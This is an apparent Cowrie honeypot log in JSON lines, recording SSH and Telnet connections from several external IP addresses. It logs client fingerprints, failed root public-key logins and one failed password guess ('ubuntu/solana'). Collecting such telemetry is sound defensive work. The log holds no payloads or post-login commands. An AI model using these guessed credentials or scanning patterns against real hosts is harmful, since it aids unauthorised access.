{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:ac:c2:7f:3f:82:43:b6:6c:67:56:03:47:32:40:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRLiy2Sj9RbFi0hdhN4vJ+OGpxXpotkVjJhj4xjDBhTWnDucnzyANPIWUjfzx04m1iNCEX0dfduKByakEPjsO62F2XJCzO2K2oqWVum2pYdzpRcfYK7vELJ3If7/BL/AU2UYnUqTGzv2qTECKMZM9BmIixczYKCQ+ODB4BkyQUULAH5Vyc7Q3Ghdb3tLIc8JSj2xUw8CntADgzutITFGyCTP+OOJJE2UVlvE0D3YrMINczmZb/mqafGPt6FFy62ZUcNj4C2tiDMl90gwibS89Iru/uBsYCxiAVSKr0b5AaBOy5djVIc+mJxwb1k+nFm3QTd9+9Nfd2B9XYA9RJHoWtaKGIbFSPYTfy7tqzOKNqlxWuZvc32dDPIq1f5PH0jpKKKG6pGFATOwAPxSqHzo4xn3jCylhOb6Z0guwMikzn54rF/7zn286TFAr6TCdUMopc3I9/sQmO+c8PrwzVD3Z331Zj3omj84JTF/dY0pZlMLQxB+32swnUxGOxu0R7dK0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:13.989742Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:a9:3a:49:cf:53:c9:99:ca:af:53:e9:77:6b:4c:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDspvv02eGNtkS4+G3qEYX7GUFSnPrjkLx5mOGkB6ufau3GJkbHF4p3sn+44dfmhdwNYW98KxgOPtGfest6AQ8ZjCufUljvjkwgDeJ9CE+tufnEp6nCUExZZXV1VN4chpuJAAbTckzhuNhXaf9AVL5qxqYl9FqXN5/8n3k/0gZ/c7SJjWQkQbslHAEx18MqEv3KVSR7tYPrHnZM/bXIJIQ6wPVZiAOKGJH69/CjWm77Jb4C5rBjelyx78mwnNDtYBHH+BI9Ut/k5+IAglkceQLMd6TGx5IChNh1rKOiIQBZzbOdiYpKj9C+SH8mEu0rLlF+PA9LMoX1eU2KdqXBkjgHsI06hvGptrB36+2Y7/R+yAV/XGoqQLisE7cSmMbpaAWh7Wmrvhe7wsJSCLvOXCx38gEbbSokZZDRyK0GzrXzDg+FGzwh1WgSnM0z3Hb58l0sheR1K/jXhlLRrxSS/yRr09CjcCJGNhhCthyb91wNDSMGCAaFxBUWzy4tIFhUlhU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:a9:3a:49:cf:53:c9:99:ca:af:53:e9:77:6b:4c:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:14.124054Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:a9:3a:49:cf:53:c9:99:ca:af:53:e9:77:6b:4c:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDspvv02eGNtkS4+G3qEYX7GUFSnPrjkLx5mOGkB6ufau3GJkbHF4p3sn+44dfmhdwNYW98KxgOPtGfest6AQ8ZjCufUljvjkwgDeJ9CE+tufnEp6nCUExZZXV1VN4chpuJAAbTckzhuNhXaf9AVL5qxqYl9FqXN5/8n3k/0gZ/c7SJjWQkQbslHAEx18MqEv3KVSR7tYPrHnZM/bXIJIQ6wPVZiAOKGJH69/CjWm77Jb4C5rBjelyx78mwnNDtYBHH+BI9Ut/k5+IAglkceQLMd6TGx5IChNh1rKOiIQBZzbOdiYpKj9C+SH8mEu0rLlF+PA9LMoX1eU2KdqXBkjgHsI06hvGptrB36+2Y7/R+yAV/XGoqQLisE7cSmMbpaAWh7Wmrvhe7wsJSCLvOXCx38gEbbSokZZDRyK0GzrXzDg+FGzwh1WgSnM0z3Hb58l0sheR1K/jXhlLRrxSS/yRr09CjcCJGNhhCthyb91wNDSMGCAaFxBUWzy4tIFhUlhU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:14.128232Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:aa:f9:77:46:a5:c7:fd:31:bb:a7:5c:6e:ab:6d:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkSY1F5L8p1Vva8mjAN/OiOFLXxhCyLM/HhmQHo4bIkOtMQ8v4qzGAF53515MNKAkvls0IvAfpBZndxLPw2q+HXZx57rmsZTCEQ3FD8Ilfj4lcGt/ul7U08wca+RydCsvqxYPn4kk28AZ8+1x5D4rfL/NAM4MYe1iEeuHxlHggxcPODWpdJOjNduoVQwYZa3lGj9v5FWx1+bVUoqREHEHmY+x+3BgaEJpt0rIK/pdjkVYrSno5R/0SN0oX2yrKlwxXh4zxERMa5BTZklWbkuRMz5p5+1Bx1qwWceEMolqJ7s9czbvLHMWuw4Eg+Izi24U4C0F0cYbu5EgAOtVylrNt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:aa:f9:77:46:a5:c7:fd:31:bb:a7:5c:6e:ab:6d:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:14.260449Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:aa:f9:77:46:a5:c7:fd:31:bb:a7:5c:6e:ab:6d:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkSY1F5L8p1Vva8mjAN/OiOFLXxhCyLM/HhmQHo4bIkOtMQ8v4qzGAF53515MNKAkvls0IvAfpBZndxLPw2q+HXZx57rmsZTCEQ3FD8Ilfj4lcGt/ul7U08wca+RydCsvqxYPn4kk28AZ8+1x5D4rfL/NAM4MYe1iEeuHxlHggxcPODWpdJOjNduoVQwYZa3lGj9v5FWx1+bVUoqREHEHmY+x+3BgaEJpt0rIK/pdjkVYrSno5R/0SN0oX2yrKlwxXh4zxERMa5BTZklWbkuRMz5p5+1Bx1qwWceEMolqJ7s9czbvLHMWuw4Eg+Izi24U4C0F0cYbu5EgAOtVylrNt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:14.264048Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:79:2b:23:09:81:54:51:36:e0:4a:8f:97:32:d9:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzTmMXnHnMJ/B/ilXgyNF4gNMhU9EVHsuZLdnUOZOrVEcEQGiaLtUPxu7bqps5lLnmgIsv7uRv/Swq2/gpUG1JJpqudEGqr1PeARIcejqaKAVfhDbeyLkbPtZTycIxOm8a4qvfRtPPs3sr/R+y3KZY2isumwa6cyuzg+iRKxVlt6cfWz6n2x/EzE8Y6I7PCxLfnPVCTYW0P//DgtWXeoRf9Z4cer1/lvQVvoA0brbSffdq3sLF9cxbuWbbIkw5euiO2IN63T0H8Z5yrHgH1FokHoT6iSmaynTmRUQhDWkzIGoAfJF+3XJQk0b3wjOG57vH1JRmswBwDWc9+3Ey3APcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:79:2b:23:09:81:54:51:36:e0:4a:8f:97:32:d9:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:14.394739Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:79:2b:23:09:81:54:51:36:e0:4a:8f:97:32:d9:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzTmMXnHnMJ/B/ilXgyNF4gNMhU9EVHsuZLdnUOZOrVEcEQGiaLtUPxu7bqps5lLnmgIsv7uRv/Swq2/gpUG1JJpqudEGqr1PeARIcejqaKAVfhDbeyLkbPtZTycIxOm8a4qvfRtPPs3sr/R+y3KZY2isumwa6cyuzg+iRKxVlt6cfWz6n2x/EzE8Y6I7PCxLfnPVCTYW0P//DgtWXeoRf9Z4cer1/lvQVvoA0brbSffdq3sLF9cxbuWbbIkw5euiO2IN63T0H8Z5yrHgH1FokHoT6iSmaynTmRUQhDWkzIGoAfJF+3XJQk0b3wjOG57vH1JRmswBwDWc9+3Ey3APcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:14.399256Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:14.534214Z","src_ip":"91.208.184.96","session":"b81d36971d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":24752,"dst_ip":"10.17.0.5","dst_port":23,"session":"579e0b18b104","protocol":"telnet","message":"New connection: 212.55.149.117:24752 (10.17.0.5:23) [session: 579e0b18b104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:23.369024Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":60528,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2d7bfa0ff36","protocol":"ssh","message":"New connection: 193.32.162.145:60528 (10.17.0.5:22) [session: a2d7bfa0ff36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:30.795121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:30.799879Z","src_ip":"193.32.162.145","session":"a2d7bfa0ff36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:30.904471Z","src_ip":"193.32.162.145","session":"a2d7bfa0ff36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:31.244762Z","src_ip":"193.32.162.145","session":"a2d7bfa0ff36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:32.370246Z","src_ip":"193.32.162.145","session":"a2d7bfa0ff36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.235.54.150","src_port":59982,"dst_ip":"10.17.0.5","dst_port":22,"session":"65654ad3834f","protocol":"ssh","message":"New connection: 37.235.54.150:59982 (10.17.0.5:22) [session: 65654ad3834f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:35.945212Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37512,"dst_ip":"10.17.0.5","dst_port":22,"session":"61d6230ec56a","protocol":"ssh","message":"New connection: 103.15.226.202:37512 (10.17.0.5:22) [session: 61d6230ec56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:35.950994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:35.954428Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:35.959119Z","src_ip":"103.15.226.202","session":"61d6230ec56a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.035628Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.211324Z","src_ip":"103.15.226.202","session":"61d6230ec56a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:f6:c3:83:03:4d:01:7c:7f:d3:38:96:45:61:78:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKmr3zfcwanSi3MI1CIoLTa7uQAUqKxtLXusQZrcf8eIRS31PjbKP7XqNeL5tpsdwdvs944YP1CVYIVT/0W3Mh22hcUBaMoblu18jqQ/6uykEqozLBobEm9rmdGsjCY6JnDBgMzoA3PHBbfWFUG0KG7xfozL84Zj6qA99Eo261CqrvlcuPo8EopQPcf/YKgl9GbZwbNQ+uuNqH/WgMPjTfSrNgVbMMGsxJyhjWvEXWDWhW2z3sYE0O4Xg7H65+F8lywTcjOwTicJ/SP95BgeAg3PWxoYrsx9urHSw4LZAL81llk6QSkfd7900T/vG1w1WbwPou0YvCPAZhVDcjBkTZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:f6:c3:83:03:4d:01:7c:7f:d3:38:96:45:61:78:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.423364Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:f6:c3:83:03:4d:01:7c:7f:d3:38:96:45:61:78:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKmr3zfcwanSi3MI1CIoLTa7uQAUqKxtLXusQZrcf8eIRS31PjbKP7XqNeL5tpsdwdvs944YP1CVYIVT/0W3Mh22hcUBaMoblu18jqQ/6uykEqozLBobEm9rmdGsjCY6JnDBgMzoA3PHBbfWFUG0KG7xfozL84Zj6qA99Eo261CqrvlcuPo8EopQPcf/YKgl9GbZwbNQ+uuNqH/WgMPjTfSrNgVbMMGsxJyhjWvEXWDWhW2z3sYE0O4Xg7H65+F8lywTcjOwTicJ/SP95BgeAg3PWxoYrsx9urHSw4LZAL81llk6QSkfd7900T/vG1w1WbwPou0YvCPAZhVDcjBkTZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.430535Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:5c:ba:05:2e:af:e3:a5:3c:8b:7d:9e:9a:42:94:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPBDAYAMaEx+2u4uHhRi0rW37IM5ZWWItxBLbraex3krvHgcb4bLqRVAjSNpPmWajolHhz46BN+oBciY6e425mwvzk+kLaMe2itPBukT8O2G5cnmVHAuJkiC7uVJ6FScuJpsDQQNhT1Hne8kuydQb0jWq40hzUKb616YraVl6NwYrFB0PpBukZp4rTFD2U3ankIxRh0MidgpLoOTuR9KNrwWtzcKmME0r7DXqqc/e7qVCuDC+ViJrEW29RoSgC1ThEaLXZ1HVc8X/whgGypHYdFr4DDw+cvTlCIFK7QWC2U6tqeijx44b4Nb844++SGC3lAl1T37lXI+PCyDnYb1eZWZVVsyXHYAs9yIQUDfkJoxBuq6LeV371CtwSD4I9epNPZF8MuuBntxPZssGx+2erwIwWhVfBCov7+bAaVogz9jPWF9eJ+Zi/qE4qgaeGqHAtRH0jcPBMkWK/ELrG/t1NvCzq8Rn4MKwAilVUSF4m/MAmT8Fdn2ZJvg2tlXPfYGPqUJsVwsTwxasU5Fo8x8LUOwTjknERaPGF78VTE6abx4fXmyCBd7Khkf2z8ljYLh37gMbyTABKzGNf9k+BMPZPFUvYL9BDcOmFoEi7I4GtvfA2VaBtxl0WoeNuCmtCL0MCTp51A+UUq5cnHkwDpbxdMjdTD5qN9+P1YhLLjwG8Yw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:5c:ba:05:2e:af:e3:a5:3c:8b:7d:9e:9a:42:94:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.513055Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:5c:ba:05:2e:af:e3:a5:3c:8b:7d:9e:9a:42:94:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDPBDAYAMaEx+2u4uHhRi0rW37IM5ZWWItxBLbraex3krvHgcb4bLqRVAjSNpPmWajolHhz46BN+oBciY6e425mwvzk+kLaMe2itPBukT8O2G5cnmVHAuJkiC7uVJ6FScuJpsDQQNhT1Hne8kuydQb0jWq40hzUKb616YraVl6NwYrFB0PpBukZp4rTFD2U3ankIxRh0MidgpLoOTuR9KNrwWtzcKmME0r7DXqqc/e7qVCuDC+ViJrEW29RoSgC1ThEaLXZ1HVc8X/whgGypHYdFr4DDw+cvTlCIFK7QWC2U6tqeijx44b4Nb844++SGC3lAl1T37lXI+PCyDnYb1eZWZVVsyXHYAs9yIQUDfkJoxBuq6LeV371CtwSD4I9epNPZF8MuuBntxPZssGx+2erwIwWhVfBCov7+bAaVogz9jPWF9eJ+Zi/qE4qgaeGqHAtRH0jcPBMkWK/ELrG/t1NvCzq8Rn4MKwAilVUSF4m/MAmT8Fdn2ZJvg2tlXPfYGPqUJsVwsTwxasU5Fo8x8LUOwTjknERaPGF78VTE6abx4fXmyCBd7Khkf2z8ljYLh37gMbyTABKzGNf9k+BMPZPFUvYL9BDcOmFoEi7I4GtvfA2VaBtxl0WoeNuCmtCL0MCTp51A+UUq5cnHkwDpbxdMjdTD5qN9+P1YhLLjwG8Yw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.516954Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:e1:8c:90:6d:66:5d:f2:e5:03:9e:39:9c:c6:ca:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDjMP0WESVKC56BaZTUMd1kq70h70puHHvWRt5Ji1xsj8vSrdVWO5jvp+h8qlAs2xXtZfH5vnTBmDXaMoMEMISLvD9R8H9RmAURd4hOge75F1ZLeOxqXTNBrSKN4v020EVAC7heaVbhLYYgzRB2icq052oHaJ7SU8PPBjxl2x3KYRrWJ5a7HSifHiUtJQA+cNtHYz1Yq+rPxIfkLPBrQsxgVAqAjJJErOhBNQym0S8OqgPYtognF1xTh56zbx0RNXqS916QaKxuT/A5m+Hk7/IYc+hIv4B7ZHEJ6YoXxpqPXbUUFqxwnYrSkhU0pvGdMXZlFijlfAJpFUkUjYbN7Y5vsAFMFf3W2Q3PPp5bXZQ/x73wlKeoO74xTkY2VGjhJOUhnEeqe3oeKhpPntrCfmjtJjPdKKZNZyQW7COC/0ZHsVCPkjB6TQkNpxFaiGGEP9qPo+DO88vhi3qyJztAaR79bxcdFqcRjE4CWZsqaGucKiKkO24F8U3mcOwevBSTr35kqEs1cucaxMRI/O7fJKxvWV31P4HXsfk2Gb1KqjSHqeYODyGTmOOqp/0w+BiS8HwdBO8ycNIHhISUX2zs7RsQFhUKzNB9uue3fqGuCBt6zJspvaO724POkmu4vyzvKTrXPb9RQn5W90mYzz3Z1Kw4iu3H7VtgUU7JiRYJ+5XsDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:e1:8c:90:6d:66:5d:f2:e5:03:9e:39:9c:c6:ca:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.601826Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:e1:8c:90:6d:66:5d:f2:e5:03:9e:39:9c:c6:ca:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDjMP0WESVKC56BaZTUMd1kq70h70puHHvWRt5Ji1xsj8vSrdVWO5jvp+h8qlAs2xXtZfH5vnTBmDXaMoMEMISLvD9R8H9RmAURd4hOge75F1ZLeOxqXTNBrSKN4v020EVAC7heaVbhLYYgzRB2icq052oHaJ7SU8PPBjxl2x3KYRrWJ5a7HSifHiUtJQA+cNtHYz1Yq+rPxIfkLPBrQsxgVAqAjJJErOhBNQym0S8OqgPYtognF1xTh56zbx0RNXqS916QaKxuT/A5m+Hk7/IYc+hIv4B7ZHEJ6YoXxpqPXbUUFqxwnYrSkhU0pvGdMXZlFijlfAJpFUkUjYbN7Y5vsAFMFf3W2Q3PPp5bXZQ/x73wlKeoO74xTkY2VGjhJOUhnEeqe3oeKhpPntrCfmjtJjPdKKZNZyQW7COC/0ZHsVCPkjB6TQkNpxFaiGGEP9qPo+DO88vhi3qyJztAaR79bxcdFqcRjE4CWZsqaGucKiKkO24F8U3mcOwevBSTr35kqEs1cucaxMRI/O7fJKxvWV31P4HXsfk2Gb1KqjSHqeYODyGTmOOqp/0w+BiS8HwdBO8ycNIHhISUX2zs7RsQFhUKzNB9uue3fqGuCBt6zJspvaO724POkmu4vyzvKTrXPb9RQn5W90mYzz3Z1Kw4iu3H7VtgUU7JiRYJ+5XsDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:21:36.605601Z","src_ip":"37.235.54.150","session":"65654ad3834f","protocol":"ssh"}
